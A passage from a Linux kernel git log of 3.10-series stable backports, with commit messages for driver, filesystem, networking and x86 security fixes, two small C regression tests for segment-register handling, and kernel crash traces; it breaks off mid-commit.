Tue Nov 25 17:45:15 2014 -0800 dm bufio: fix memleak when using a dm_buffer's inline bio commit 445559cdcb98a141f5de415b94fd6eaccab87e6d upstream. When dm-bufio sets out to use the bio built into a struct dm_buffer to issue an IO, it needs to call bio_reset after it's done with the bio so that we can free things attached to the bio such as the integrity payload. Therefore, inject our own endio callback to take care of the bio_reset after calling submit_io's end_io callback. Test case: 1. modprobe scsi_debug delay=0 dif=1 dix=199 ato=1 dev_size_mb=300 2. Set up a dm-bufio client, e.g. dm-verity, on the scsi_debug device 3. Repeatedly read metadata and watch kmalloc-192 leak! Signed-off-by: Darrick J. Wong Signed-off-by: Mikulas Patocka Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8daf6d3ae4c11e5fbf7e8cf692229dcc1d12d2c8 Author: Peng Tao Date: Mon Nov 17 11:05:17 2014 +0800 nfs41: fix nfs4_proc_layoutget error handling commit 4bd5a980de87d2b5af417485bde97b8eb3d6cf6a upstream. nfs4_layoutget_release() drops layout hdr refcnt. Grab the refcnt early so that it is safe to call .release in case nfs4_alloc_pages fails. Signed-off-by: Peng Tao Fixes: a47970ff78147 ("NFSv4.1: Hold reference to layout hdr in layoutget") Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2793cca163980a316dcbfdfe86f76c5e58240d36 Author: Sumit.Saxena@avagotech.com Date: Mon Nov 17 15:24:23 2014 +0530 megaraid_sas: corrected return of wait_event from abort frame path commit 170c238701ec38b1829321b17c70671c101bac55 upstream. Corrected wait_event() call which was waiting for wrong completion status (0xFF). Signed-off-by: Sumit Saxena Signed-off-by: Kashyap Desai Reviewed-by: Tomas Henzl Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 10b085ec37a2f018b64508e0df6e77e916b2de28 Author: Baruch Siach Date: Mon Sep 22 10:12:51 2014 +0300 mmc: block: add newline to sysfs display of force_ro commit 0031a98a85e9fca282624bfc887f9531b2768396 upstream. Make force_ro consistent with other sysfs entries. Fixes: 371a689f64b0d ('mmc: MMC boot partitions support') Cc: Andrei Warkentin Signed-off-by: Baruch Siach Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 41714a005a808766f0c6fbda39b65df752fea4ad Author: Dmitry Eremin-Solenikov Date: Fri Oct 24 21:19:57 2014 +0400 mfd: tc6393xb: Fail ohci suspend if full state restore is required commit 1a5fb99de4850cba710d91becfa2c65653048589 upstream. Some boards with TC6393XB chip require full state restore during system resume thanks to chip's VCC being cut off during suspend (Sharp SL-6000 tosa is one of them). Failing to do so would result in ohci Oops on resume due to internal memory contentes being changed. Fail ohci suspend on tc6393xb is full state restore is required. Recommended workaround is to unbind tmio-ohci driver before suspend and rebind it after resume. Signed-off-by: Dmitry Eremin-Solenikov Signed-off-by: Lee Jones Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 41c8b9b7edb34ed839aea3affd958a9959ffabcc Author: NeilBrown Date: Tue Sep 9 14:13:51 2014 +1000 md/bitmap: always wait for writes on unplug. commit 4b5060ddae2b03c5387321fafc089d242225697a upstream. If two threads call bitmap_unplug at the same time, then one might schedule all the writes, and the other might decide that it doesn't need to wait. But really it does. It rarely hurts to wait when it isn't absolutely necessary, and the current code doesn't really focus on 'absolutely necessary' anyway. So just wait always. This can potentially lead to data corruption if a crash happens at an awkward time and data was written before the bitmap was updated. It is very unlikely, but this should go to -stable just to be safe. Appropriate for any -stable. Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 87d9bbdf3b27f21abe7586c9f7a198ad99cf6d73 Author: Andy Lutomirski Date: Fri Dec 5 19:03:28 2014 -0800 x86, kvm: Clear paravirt_enabled on KVM guests for espfix32's benefit commit 29fa6825463c97e5157284db80107d1bfac5d77b upstream. paravirt_enabled has the following effects: - Disables the F00F bug workaround warning. There is no F00F bug workaround any more because Linux's standard IDT handling already works around the F00F bug, but the warning still exists. This is only cosmetic, and, in any event, there is no such thing as KVM on a CPU with the F00F bug. - Disables 32-bit APM BIOS detection. On a KVM paravirt system, there should be no APM BIOS anyway. - Disables tboot. I think that the tboot code should check the CPUID hypervisor bit directly if it matters. - paravirt_enabled disables espfix32. espfix32 should *not* be disabled under KVM paravirt. The last point is the purpose of this patch. It fixes a leak of the high 16 bits of the kernel stack address on 32-bit KVM paravirt guests. Fixes CVE-2014-8134. Suggested-by: Konrad Rzeszutek Wilk Signed-off-by: Andy Lutomirski Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a10f1c36b33be2da3e9ed521d8b9a452847f91e3 Author: Andy Lutomirski Date: Mon Dec 8 13:55:20 2014 -0800 x86_64, switch_to(): Load TLS descriptors before switching DS and ES commit f647d7c155f069c1a068030255c300663516420e upstream. Otherwise, if buggy user code points DS or ES into the TLS array, they would be corrupted after a context switch. This also significantly improves the comments and documents some gotchas in the code. Before this patch, the both tests below failed. With this patch, the es test passes, although the gsbase test still fails. ----- begin es test ----- /* * Copyright (c) 2014 Andy Lutomirski * GPL v2 */ static unsigned short GDT3(int idx) { return (idx << 3) | 3; } static int create_tls(int idx, unsigned int base) { struct user_desc desc = { .entry_number = idx, .base_addr = base, .limit = 0xfffff, .seg_32bit = 1, .contents = 0, /* Data, grow-up */ .read_exec_only = 0, .limit_in_pages = 1, .seg_not_present = 0, .useable = 0, }; if (syscall(SYS_set_thread_area, &desc) != 0) err(1, "set_thread_area"); return desc.entry_number; } int main() { int idx = create_tls(-1, 0); printf("Allocated GDT index %d\n", idx); unsigned short orig_es; asm volatile ("mov %%es,%0" : "=rm" (orig_es)); int errors = 0; int total = 1000; for (int i = 0; i < total; i++) { asm volatile ("mov %0,%%es" : : "rm" (GDT3(idx))); usleep(100); unsigned short es; asm volatile ("mov %%es,%0" : "=rm" (es)); asm volatile ("mov %0,%%es" : : "rm" (orig_es)); if (es != GDT3(idx)) { if (errors == 0) printf("[FAIL]\tES changed from 0x%hx to 0x%hx\n", GDT3(idx), es); errors++; } } if (errors) { printf("[FAIL]\tES was corrupted %d/%d times\n", errors, total); return 1; } else { printf("[OK]\tES was preserved\n"); return 0; } } ----- end es test ----- ----- begin gsbase test ----- /* * gsbase.c, a gsbase test * Copyright (c) 2014 Andy Lutomirski * GPL v2 */ static unsigned char *testptr, *testptr2; static unsigned char read_gs_testvals(void) { unsigned char ret; asm volatile ("movb %%gs:%1, %0" : "=r" (ret) : "m" (*testptr)); return ret; } int main() { int errors = 0; testptr = mmap((void *)0x200000000UL, 1, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0); if (testptr == MAP_FAILED) err(1, "mmap"); testptr2 = mmap((void *)0x300000000UL, 1, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0); if (testptr2 == MAP_FAILED) err(1, "mmap"); *testptr = 0; *testptr2 = 1; if (syscall(SYS_arch_prctl, ARCH_SET_GS, (unsigned long)testptr2 - (unsigned long)testptr) != 0) err(1, "ARCH_SET_GS"); usleep(100); if (read_gs_testvals() == 1) { printf("[OK]\tARCH_SET_GS worked\n"); } else { printf("[FAIL]\tARCH_SET_GS failed\n"); errors++; } asm volatile ("mov %0,%%gs" : : "r" (0)); if (read_gs_testvals() == 0) { printf("[OK]\tWriting 0 to gs worked\n"); } else { printf("[FAIL]\tWriting 0 to gs failed\n"); errors++; } usleep(100); if (read_gs_testvals() == 0) { printf("[OK]\tgsbase is still zero\n"); } else { printf("[FAIL]\tgsbase was corrupted\n"); errors++; } return errors == 0 ? 0 : 1; } ----- end gsbase test ----- Signed-off-by: Andy Lutomirski Cc: Andi Kleen Cc: Linus Torvalds Link: http://lkml.kernel.org/r/509d27c9fec78217691c3dad91cec87e1006b34a.1418075657.git.luto@amacapital.net Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd1da98d38bfe719cb5f42fea509a7378918586a Author: Andy Lutomirski Date: Thu Dec 4 16:48:17 2014 -0800 x86/tls: Disallow unusual TLS segments commit 0e58af4e1d2166e9e33375a0f121e4867010d4f8 upstream. Users have no business installing custom code segments into the GDT, and segments that are not present but are otherwise valid are a historical source of interesting attacks. For completeness, block attempts to set the L bit. (Prior to this patch, the L bit would have been silently dropped.) This is an ABI break. I've checked glibc, musl, and Wine, and none of them look like they'll have any trouble. Note to stable maintainers: this is a hardening patch that fixes no known bugs. Given the possibility of ABI issues, this probably shouldn't be backported quickly. Signed-off-by: Andy Lutomirski Acked-by: H. Peter Anvin Cc: Konrad Rzeszutek Wilk Cc: Linus Torvalds Cc: Willy Tarreau Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d4f17d9a5da9337d43729e138b988d7e33fcc26e Author: Andy Lutomirski Date: Thu Dec 4 16:48:16 2014 -0800 x86/tls: Validate TLS entries to protect espfix commit 41bdc78544b8a93a9c6814b8bbbfef966272abbe upstream. Installing a 16-bit RW data segment into the GDT defeats espfix. AFAICT this will not affect glibc, Wine, or dosemu at all. Signed-off-by: Andy Lutomirski Acked-by: H. Peter Anvin Cc: Konrad Rzeszutek Wilk Cc: Linus Torvalds Cc: Willy Tarreau Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 88ded3025a34fd525ed0bbb7d0d1b82e3e0e0982 Author: Jan Kara Date: Mon Dec 15 14:22:46 2014 +0100 isofs: Fix infinite looping over CE entries commit f54e18f1b831c92f6512d2eedb224cd63d607d3d upstream. Rock Ridge extensions define so called Continuation Entries (CE) which define where is further space with Rock Ridge data. Corrupted isofs image can contain arbitrarily long chain of these, including a one containing loop and thus causing kernel to end in an infinite loop when traversing these entries. Limit the traversal to 32 entries which should be more than enough space to store all the Rock Ridge data. Reported-by: P J P Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 80507b4935784bd38ca23bcbafbd9ff494ab9f3e Author: Greg Kroah-Hartman Date: Tue Dec 16 09:09:56 2014 -0800 Linux 3.10.63 Signed-off-by: Pranav Vashi commit 2bc6cc7d5a76b19189d44f2b1e33f5ca268ff2d1 Author: Takashi Iwai Date: Sat Dec 6 18:02:55 2014 +0100 ALSA: usb-audio: Don't resubmit pending URBs at MIDI error recovery commit 66139a48cee1530c91f37c145384b4ee7043f0b7 upstream. In snd_usbmidi_error_timer(), the driver tries to resubmit MIDI input URBs to reactivate the MIDI stream, but this causes the error when some of URBs are still pending like: WARNING: CPU: 0 PID: 0 at ../drivers/usb/core/urb.c:339 usb_submit_urb+0x5f/0x70() URB ef705c40 submitted while active CPU: 0 PID: 0 Comm: swapper/0 Not tainted 3.16.6-2-desktop #1 Hardware name: FOXCONN TPS01/TPS01, BIOS 080015 03/23/2010 c0984bfa f4009ed4 c078deaf f4009ee4 c024c884 c09a135c f4009f00 00000000 c0984bfa 00000153 c061ac4f c061ac4f 00000009 00000001 ef705c40 e854d1c0 f4009eec c024c8d3 00000009 f4009ee4 c09a135c f4009f00 f4009f04 c061ac4f Call Trace: [] try_stack_unwind+0x156/0x170 [] dump_trace+0x5a/0x1b0 [] show_trace_log_lvl+0x46/0x50 [] show_stack_log_lvl+0x51/0xe0 [] show_stack+0x27/0x50 [] dump_stack+0x45/0x65 [] warn_slowpath_common+0x84/0xa0 [] warn_slowpath_fmt+0x33/0x40 [] usb_submit_urb+0x5f/0x70 [] snd_usbmidi_submit_urb+0x14/0x60 [snd_usbmidi_lib] [] snd_usbmidi_error_timer+0x6a/0xa0 [snd_usbmidi_lib] [] call_timer_fn+0x30/0x130 [] run_timer_softirq+0x1c2/0x260 [] __do_softirq+0xc3/0x270 [] do_softirq_own_stack+0x22/0x30 [] irq_exit+0x8d/0xa0 [] smp_apic_timer_interrupt+0x38/0x50 [] apic_timer_interrupt+0x34/0x3c [] cpuidle_enter_state+0x3e/0xd0 [] cpu_idle_loop+0x29d/0x3e0 [] cpu_startup_entry+0x53/0x60 [] start_kernel+0x415/0x41a For avoiding these errors, check the pending URBs and skip resubmitting such ones. Reported-and-tested-by: Stefan Seyfried Acked-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3eb94da780fab70447215e0c5b76d844ac92cb72 Author: Anton Blanchard Date: Thu Nov 27 08:11:28 2014 +1100 powerpc: 32 bit getcpu VDSO function uses 64 bit instructions commit 152d44a853e42952f6c8a504fb1f8eefd21fd5fd upstream. I used some 64 bit instructions when adding the 32 bit getcpu VDSO function. Fix it. Fixes: 18ad51dd342a ("powerpc: Add VDSO version of getcpu") Signed-off-by: Anton Blanchard Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 914669000784065251e4c02b5d76f674456f6d71 Author: Todd Fujinaka Date: Tue Jun 17 06:58:11 2014 +0000 igb: bring link up when PHY is powered up commit aec653c43b0c55667355e26d7de1236bda9fb4e3 upstream. Call igb_setup_link() when the PHY is powered up. Signed-off-by: Todd Fujinaka Reported-by: Jeff Westfahl Tested-by: Aaron Brown Signed-off-by: Jeff Kirsher Cc: Vincent Donnefort Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 06e485f927b5064b29536aac7ac805340196394a Author: Jan Kara Date: Tue Dec 3 11:20:06 2013 +0100 ext2: Fix oops in ext2_get_block() called from ext2_quota_write() commit df4e7ac0bb70abc97fbfd9ef09671fc084b3f9db upstream. ext2_quota_write() doesn't properly setup bh it passes to ext2_get_block() and thus we hit assertion BUG_ON(maxblocks == 0) in ext2_get_blocks() (or we could actually ask for mapping arbitrary number of blocks depending on whatever value was on stack). Fix ext2_quota_write() to properly fill in number of blocks to map. Reviewed-by: "Theodore Ts'o" Reviewed-by: Christoph Hellwig Reported-by: Christoph Hellwig Signed-off-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9cd5f015f7c935600591c9f545ff0a2669440e7b Author: Nadav Har'El Date: Mon Aug 5 11:07:17 2013 +0300 nEPT: Nested INVEPT commit bfd0a56b90005f8c8a004baf407ad90045c2b11e upstream. If we let L1 use EPT, we should probably also support the INVEPT instruction. In our current nested EPT implementation, when L1 changes its EPT table for L2 (i.e., EPT12), L0 modifies the shadow EPT table (EPT02), and in the course of this modification already calls INVEPT. But if last level of shadow page is unsync not all L1's changes to EPT12 are intercepted, which means roots need to be synced when L1 calls INVEPT. Global INVEPT should not be different since roots are synced by kvm_mmu_load() each time EPTP02 changes. Reviewed-by: Xiao Guangrong Signed-off-by: Nadav Har'El Signed-off-by: Jun Nakajima Signed-off-by: Xinhao Xu Signed-off-by: Yang Zhang Signed-off-by: Gleb Natapov Signed-off-by: Paolo Bonzini [bwh: Backported to 3.2: - Adjust context, filename - Simplify handle_invept() as recommended by Paolo - nEPT is not supported so we always raise #UD] Signed-off-by: Ben Hutchings Cc: Vinson Lee Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 813f145f60ef6dd4bc1338c1a3e5d63ca0b9b119 Author: Daniel Borkmann Date: Wed Dec 3 12:13:58 2014 +0100 net: sctp: use MAX_HEADER for headroom reserve in output path [ Upstream commit 9772b54c55266ce80c639a80aa68eeb908f8ecf5 ] To accomodate for enough headroom for tunnels, use MAX_HEADER instead of LL_MAX_HEADER. Robert reported that he has hit after roughly 40hrs of trinity an skb_under_panic() via SCTP output path (see reference). I couldn't reproduce it from here, but not using MAX_HEADER as elsewhere in other protocols might be one possible cause for this. In any case, it looks like accounting on chunks themself seems to look good as the skb already passed the SCTP output path and did not hit any skb_over_panic(). Given tunneling was enabled in his .config, the headroom would have been expanded by MAX_HEADER in this case. Reported-by: Robert ÅšwiÄ™cki Reference: https://lkml.org/lkml/2014/12/1/507 Fixes: 594ccc14dfe4d ("[SCTP] Replace incorrect use of dev_alloc_skb with alloc_skb in sctp_packet_transmit().") Signed-off-by: Daniel Borkmann Acked-by: Vlad Yasevich Acked-by: Neil Horman Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d0ec34ee2df57a68b5547a45ebb45023cb5e3ef6 Author: willy tarreau Date: Tue Dec 2 08:13:04 2014 +0100 net: mvneta: fix Tx interrupt delay [ Upstream commit aebea2ba0f7495e1a1c9ea5e753d146cb2f6b845 ] The mvneta driver sets the amount of Tx coalesce packets to 16 by default. Normally that does not cause any trouble since the driver uses a much larger Tx ring size (532 packets). But some sockets might run with very small buffers, much smaller than the equivalent of 16 packets. This is what ping is doing for example, by setting SNDBUF to 324 bytes rounded up to 2kB by the kernel. The problem is that there is no documented method to force a specific packet to emit an interrupt (eg: the last of the ring) nor is it possible to make the NIC emit an interrupt after a given delay. In this case, it causes trouble, because when ping sends packets over its raw socket, the few first packets leave the system, and the first 15 packets will be emitted without an IRQ being generated, so without the skbs being freed. And since the socket's buffer is small, there's no way to reach that amount of packets, and the ping ends up with "send: no buffer available" after sending 6 packets. Running with 3 instances of ping in parallel is enough to hide the problem, because with 6 packets per instance, that's 18 packets total, which is enough to grant a Tx interrupt before all are sent. The original driver in the LSP kernel worked around this design flaw by using a software timer to clean up the Tx descriptors. This timer was slow and caused terrible network performance on some Tx-bound workloads (such as routing) but was enough to make tools like ping work correctly. Instead here, we simply set the packet counts before interrupt to 1. This ensures that each packet sent will produce an interrupt. NAPI takes care of coalescing interrupts since the interrupt is disabled once generated. No measurable performance impact nor CPU usage were observed on small nor large packets, including when saturating the link on Tx, and this fixes tools like ping which rely on too small a send buffer. If one wants to increase this value for certain workloads where it is safe to do so, "ethtool -C $dev tx-frames" will override this default setting. This fix needs to be applied to stable kernels starting with 3.10. Tested-By: Maggie Mae Roxas Signed-off-by: Willy Tarreau Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3878f16837b248a697901475199f47ea1670b8b2 Author: Nicolas Dichtel Date: Thu Nov 27 10:16:15 2014 +0100 rtnetlink: release net refcnt on error in do_setlink() [ Upstream commit e0ebde0e131b529fd721b24f62872def5ec3718c ] rtnl_link_get_net() holds a reference on the 'struct net', we need to release it in case of error. CC: Eric W. Biederman Fixes: b51642f6d77b ("net: Enable a userns root rtnl calls that are safe for unprivilged users") Signed-off-by: Nicolas Dichtel Reviewed-by: "Eric W. Biederman" Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a7899ed5ffe328d5c82430554e78cf6cb075795d Author: Jack Morgenstein Date: Tue Nov 25 11:54:31 2014 +0200 net/mlx4_core: Limit count field to 24 bits in qp_alloc_res [ Upstream commit 2d5c57d7fbfaa642fb7f0673df24f32b83d9066c ] Some VF drivers use the upper byte of "param1" (the qp count field) in mlx4_qp_reserve_range() to pass flags which are used to optimize the range allocation. Under the current code, if any of these flags are set, the 32-bit count field yields a count greater than 2^24, which is out of range, and this VF fails. As these flags represent a "best-effort" allocation hint anyway, they may safely be ignored. Therefore, the PF driver may simply mask out the bits. Fixes: c82e9aa0a8 "mlx4_core: resource tracking for HCA resources used by guests" Signed-off-by: Jack Morgenstein Signed-off-by: Or Gerlitz Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 12be1c9d43bc0264463a1f8e7a547ec4555631e1 Author: Thadeu Lima de Souza Cascardo Date: Tue Nov 25 14:21:11 2014 -0200 tg3: fix ring init when there are more TX than RX channels [ Upstream commit a620a6bc1c94c22d6c312892be1e0ae171523125 ] If TX channels are set to 4 and RX channels are set to less than 4, using ethtool -L, the driver will try to initialize more RX channels than it has allocated, causing an oops. This fix only initializes the RX ring if it has been allocated. Signed-off-by: Thadeu Lima de Souza Cascardo Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bcbe6f62966b53d63a4697974e13c042fdc3dba1 Author: Yuri Chislov Date: Mon Nov 24 11:25:15 2014 +0100 ipv6: gre: fix wrong skb->protocol in WCCP [ Upstream commit be6572fdb1bfbe23b2624d477de50af50b02f5d6 ] When using GRE redirection in WCCP, it sets the wrong skb->protocol, that is, ETH_P_IP instead of ETH_P_IPV6 for the encapuslated traffic. Fixes: c12b395a4664 ("gre: Support GRE over IPv6") Cc: Dmitry Kozlov Signed-off-by: Yuri Chislov Tested-by: Yuri Chislov Signed-off-by: Daniel Borkmann Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3a119b9b75957ccacc91cb5e03923d3d0e58797f Author: Dmitry Torokhov Date: Fri Nov 14 13:39:05 2014 -0800 sata_fsl: fix error handling of irq_of_parse_and_map commit aad0b624129709c94c2e19e583b6053520353fa8 upstream. irq_of_parse_and_map() returns 0 on error (the result is unsigned int), so testing for negative result never works. Signed-off-by: Dmitry Torokhov Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0bb156eee62dbc56fcc66bfbd64f57836f9bb740 Author: Tejun Heo Date: Thu Dec 4 13:13:28 2014 -0500 ahci: disable MSI on SAMSUNG 0xa800 SSD commit 2b21ef0aae65f22f5ba86b13c4588f6f0c2dbefb upstream. Just like 0x1600 which got blacklisted by 66a7cbc303f4 ("ahci: disable MSI instead of NCQ on Samsung pci-e SSDs on macbooks"), 0xa800 chokes on NCQ commands if MSI is enabled. Disable MSI. Signed-off-by: Tejun Heo Reported-by: Dominik Mierzejewski Link: https://bugzilla.kernel.org/show_bug.cgi?id=89171 Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b56063200add287f250c7561161fda2aacec2b85 Author: Devin Ryles Date: Fri Nov 7 17:59:05 2014 -0500 AHCI: Add DeviceIDs for Sunrise Point-LP SATA controller commit 249cd0a187ed4ef1d0af7f74362cc2791ec5581b upstream. This patch adds DeviceIDs for Sunrise Point-LP. Signed-off-by: Devin Ryles Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d69fa9bdbb39168cb29f2a72a9e0259a1f365699 Author: Sakari Ailus Date: Thu Nov 6 17:49:45 2014 -0300 media: smiapp: Only some selection targets are settable commit b31eb901c4e5eeef4c83c43dfbc7fe0d4348cb21 upstream. Setting a non-settable selection target caused BUG() to be called. The check for valid selections only takes the selection target into account, but does not tell whether it may be set, or only get. Fix the issue by simply returning an error to the user. Signed-off-by: Sakari Ailus Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b8195130184f92a6982a8e1df82f062bf52cd3d3 Author: Daniel Vetter Date: Mon Dec 1 17:56:54 2014 +0100 drm/i915: Unlock panel even when LVDS is disabled commit b0616c5306b342ceca07044dbc4f917d95c4f825 upstream. Otherwise we'll have backtraces in assert_panel_unlocked because the BIOS locks the register. In the reporter's case this regression was introduced in commit c31407a3672aaebb4acddf90944a114fa5c8af7b Author: Chris Wilson Date: Thu Oct 18 21:07:01 2012 +0100 drm/i915: Add no-lvds quirk for Supermicro X7SPA-H Reported-by: Alexey Orishko Cc: Alexey Orishko Cc: Chris Wilson Cc: Francois Tigeot Signed-off-by: Daniel Vetter Tested-by: Alexey Orishko Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 754315c520f2410bb82b836531c9555c502f05c7 Author: Petr Mladek Date: Thu Nov 27 16:57:21 2014 +0100 drm/radeon: kernel panic in drm_calc_vbltimestamp_from_scanoutpos with 3.18.0-rc6 commit f5475cc43c899e33098d4db44b7c5e710f16589d upstream. I was unable too boot 3.18.0-rc6 because of the following kernel panic in drm_calc_vbltimestamp_from_scanoutpos(): [drm] Initialized drm 1.1.0 20060810 [drm] radeon kernel modesetting enabled. [drm] initializing kernel modesetting (RV100 0x1002:0x515E 0x15D9:0x8080). [drm] register mmio base: 0xC8400000 [drm] register mmio size: 65536 radeon 0000:0b:01.0: VRAM: 128M 0x00000000D0000000 - 0x00000000D7FFFFFF (16M used) radeon 0000:0b:01.0: GTT: 512M 0x00000000B0000000 - 0x00000000CFFFFFFF [drm] Detected VRAM RAM=128M, BAR=128M [drm] RAM width 16bits DDR [TTM] Zone kernel: Available graphics memory: 3829346 kiB [TTM] Zone dma32: Available graphics memory: 2097152 kiB [TTM] Initializing pool allocator [TTM] Initializing DMA pool allocator [drm] radeon: 16M of VRAM memory ready [drm] radeon: 512M of GTT memory ready. [drm] GART: num cpu pages 131072, num gpu pages 131072 [drm] PCI GART of 512M enabled (table at 0x0000000037880000). radeon 0000:0b:01.0: WB disabled radeon 0000:0b:01.0: fence driver on ring 0 use gpu addr 0x00000000b0000000 and cpu addr 0xffff8800bbbfa000 [drm] Supports vblank timestamp caching Rev 2 (21.10.2013). [drm] Driver supports precise vblank timestamp query. [drm] radeon: irq initialized. [drm] Loading R100 Microcode radeon 0000:0b:01.0: Direct firmware load for radeon/R100_cp.bin failed with error -2 radeon_cp: Failed to load firmware "radeon/R100_cp.bin" [drm:r100_cp_init] *ERROR* Failed to load firmware! radeon 0000:0b:01.0: failed initializing CP (-2). radeon 0000:0b:01.0: Disabling GPU acceleration [drm] radeon: cp finalized BUG: unable to handle kernel NULL pointer dereference at 000000000000025c IP: [] drm_calc_vbltimestamp_from_scanoutpos+0x4b/0x320 PGD 0 Oops: 0000 [#1] SMP Modules linked in: CPU: 1 PID: 1 Comm: swapper/0 Not tainted 3.18.0-rc6-4-default #2649 Hardware name: Supermicro X7DB8/X7DB8, BIOS 6.00 07/26/2006 task: ffff880234da2010 ti: ffff880234da4000 task.ti: ffff880234da4000 RIP: 0010:[] [] drm_calc_vbltimestamp_from_scanoutpos+0x4b/0x320 RSP: 0000:ffff880234da7918 EFLAGS: 00010086 RAX: ffffffff81557890 RBX: 0000000000000000 RCX: ffff880234da7a48 RDX: ffff880234da79f4 RSI: 0000000000000000 RDI: ffff880232e15000 RBP: ffff880234da79b8 R08: 0000000000000000 R09: 0000000000000000 R10: 000000000000000a R11: 0000000000000001 R12: ffff880232dda1c0 R13: ffff880232e1518c R14: 0000000000000292 R15: ffff880232e15000 FS: 0000000000000000(0000) GS:ffff88023fc40000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b CR2: 000000000000025c CR3: 0000000002014000 CR4: 00000000000007e0 Stack: ffff880234da79d8 0000000000000286 ffff880232dcbc00 0000000000002480 ffff880234da7958 0000000000000296 ffff880234da7998 ffffffff8151b51d ffff880234da7a48 0000000032dcbeb0 ffff880232dcbc00 ffff880232dcbc58 Call Trace: [] ? drm_vma_offset_remove+0x1d/0x110 [] radeon_get_vblank_timestamp_kms+0x38/0x60 [] ? ttm_bo_release_list+0xba/0x180 [] drm_get_last_vbltimestamp+0x41/0x70 [] vblank_disable_and_save+0x73/0x1d0 [] ? try_to_del_timer_sync+0x4f/0x70 [] drm_vblank_cleanup+0x65/0xa0 [] radeon_irq_kms_fini+0x1a/0x70 [] r100_init+0x26e/0x410 [] radeon_device_init+0x7ae/0xb50 [] radeon_driver_load_kms+0x8f/0x210 [] drm_dev_register+0xb5/0x110 [] drm_get_pci_dev+0x8f/0x200 [] radeon_pci_probe+0xad/0xe0 [] local_pci_probe+0x45/0xa0 [] pci_device_probe+0xd1/0x130 [] driver_probe_device+0x12d/0x3e0 [] __driver_attach+0x9b/0xa0 [] ? __device_attach+0x40/0x40 [] bus_for_each_dev+0x63/0xa0 [] driver_attach+0x1e/0x20 [] bus_add_driver+0x180/0x240 [] driver_register+0x64/0xf0 [] __pci_register_driver+0x4c/0x50 [] drm_pci_init+0xf5/0x120 [] ? ttm_init+0x6a/0x6a [] radeon_init+0x97/0xb5 [] do_one_initcall+0xbc/0x1f0 [] ? __wake_up+0x48/0x60 [] kernel_init_freeable+0x18a/0x215 [] ? initcall_blacklist+0xc0/0xc0 [] ? rest_init+0x80/0x80 [] kernel_init+0xe/0xf0 [] ret_from_fork+0x7c/0xb0 [] ? rest_init+0x80/0x80 Code: 45 ac 0f 88 a8 01 00 00 3b b7 d0 01 00 00 49 89 ff 0f 83 99 01 00 00 48 8b 47 20 48 8b 80 88 00 00 00 48 85 c0 0f 84 cd 01 00 00 <41> 8b b1 5c 02 00 00 41 8b 89 58 02 00 00 89 75 98 41 8b b1 60 RIP [] drm_calc_vbltimestamp_from_scanoutpos+0x4b/0x320 RSP CR2: 000000000000025c ---[ end trace ad2c0aadf48e2032 ]--- Kernel panic - not syncing: Attempted to kill init! exitcode=0x00000009 It has helped me to add a NULL pointer check that was suggested at http://lists.freedesktop.org/archives/dri-devel/2014-October/070663.html I am not familiar with the code. But the change looks sane and we need something fast at this stage of 3.18 development. Suggested-by: Helge Deller Signed-off-by: Petr Mladek Tested-by: Petr Mladek Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3c88307c6299429657bdf70bcc14fd341ed80703 Author: Grygorii Strashko Date: Mon Dec 1 17:34:04 2014 +0200 i2c: davinci: generate STP always when NACK is received commit 9ea359f7314132cbcb5a502d2d8ef095be1f45e4 upstream. According to I2C specification the NACK should be handled as follows: "When SDA remains HIGH during this ninth clock pulse, this is defined as the Not Acknowledge signal. The master can then generate either a STOP condition to abort the transfer, or a repeated START condition to start a new transfer." [I2C spec Rev. 6, 3.1.6: http://www.nxp.com/documents/user_manual/UM10204.pdf] Currently the Davinci i2c driver interrupts the transfer on receipt of a NACK but fails to send a STOP in some 